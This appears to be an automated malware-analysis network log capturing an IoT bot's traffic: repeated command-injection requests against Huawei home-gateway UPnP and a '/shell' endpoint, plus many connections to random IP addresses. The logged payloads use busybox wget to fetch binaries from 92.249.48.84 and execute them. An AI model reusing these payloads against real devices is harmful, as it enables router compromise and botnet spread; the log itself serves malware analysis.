Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 173.167.241.32
Source: unknown	TCP traffic detected without corresponding DNS query: 41.9.64.14
Source: unknown	TCP traffic detected without corresponding DNS query: 98.109.255.32
Source: unknown	TCP traffic detected without corresponding DNS query: 32.243.139.213
Source: unknown	TCP traffic detected without corresponding DNS query: 156.199.64.157
Source: unknown	TCP traffic detected without corresponding DNS query: 94.139.240.229
Source: unknown	TCP traffic detected without corresponding DNS query: 57.69.141.47
Source: unknown	TCP traffic detected without corresponding DNS query: 181.235.217.168
Source: unknown	TCP traffic detected without corresponding DNS query: 219.33.103.174
Source: unknown	TCP traffic detected without corresponding DNS query: 12.216.230.134
Source: unknown	TCP traffic detected without corresponding DNS query: 24.156.129.86
Source: unknown	TCP traffic detected without corresponding DNS query: 116.247.77.200
Source: unknown	TCP traffic detected without corresponding DNS query: 161.57.7.247
Source: unknown	TCP traffic detected without corresponding DNS query: 208.108.109.204
Source: unknown	TCP traffic detected without corresponding DNS query: 48.115.50.1
Source: unknown	TCP traffic detected without corresponding DNS query: 66.140.45.169
Source: unknown	TCP traffic detected without corresponding DNS query: 130.18.218.137
Source: unknown	TCP traffic detected without corresponding DNS query: 124.37.241.209
Source: unknown	TCP traffic detected without corresponding DNS query: 9.30.58.66
Source: unknown	TCP traffic detected without corresponding DNS query: 40.149.37.35
Source: unknown	TCP traffic detected without corresponding DNS query: 187.139.215.61
Source: unknown	TCP traffic detected without corresponding DNS query: 27.78.38.173
Source: unknown	TCP traffic detected without corresponding DNS query: 150.99.102.117
Source: unknown	TCP traffic detected without corresponding DNS query: 20.151.159.114
Source: unknown	TCP traffic detected without corresponding DNS query: 40.137.161.209
Source: unknown	TCP traffic detected without corresponding DNS query: 164.70.215.21
Source: unknown	TCP traffic detected without corresponding DNS query: 161.13.133.196
Source: unknown	TCP traffic detected without corresponding DNS query: 170.15.21.39
Source: unknown	TCP traffic detected without corresponding DNS query: 69.154.200.175
Source: unknown	TCP traffic detected without corresponding DNS query: 190.73.5.10
Source: unknown	TCP traffic detected without corresponding DNS query: 35.174.82.249
Source: unknown	TCP traffic detected without corresponding DNS query: 191.8.115.211
Source: unknown	TCP traffic detected without corresponding DNS query: 164.230.206.14
Source: unknown	TCP traffic detected without corresponding DNS query: 141.40.234.211
Source: unknown	TCP traffic detected without corresponding DNS query: 183.30.89.161
Source: unknown	TCP traffic detected without corresponding DNS query: 180.153.9.176
Source: unknown	TCP traffic detected without corresponding DNS query: 197.208.154.35
Source: unknown	TCP traffic detected without corresponding DNS query: 133.166.17.9
Source: unknown	TCP traffic detected without corresponding DNS query: 204.252.176.152
Source: unknown	TCP traffic detected without corresponding DNS query: 125.59.30.179
Source: unknown	TCP traffic detected without corresponding DNS query: 168.4.19.140
Source: unknown	TCP traffic detected without corresponding DNS query: 66.13.249.127
Source: unknown	TCP traffic detected without corresponding DNS query: 182.173.129.246
Source: unknown	TCP traffic detected without corresponding DNS query: 38.231.167.158
Source: unknown	TCP traffic detected without corresponding DNS query: 116.217.136.109
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.30.108
Source: unknown	TCP traffic detected without corresponding DNS query: 14.159.88.55
Source: unknown	TCP traffic detected without corresponding DNS query: 177.150.116.205
Source: unknown	TCP traffic detected without corresponding DNS query: 1.170.6.206
Source: unknown	TCP traffic detected without corresponding DNS query: 2.107.95.171

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
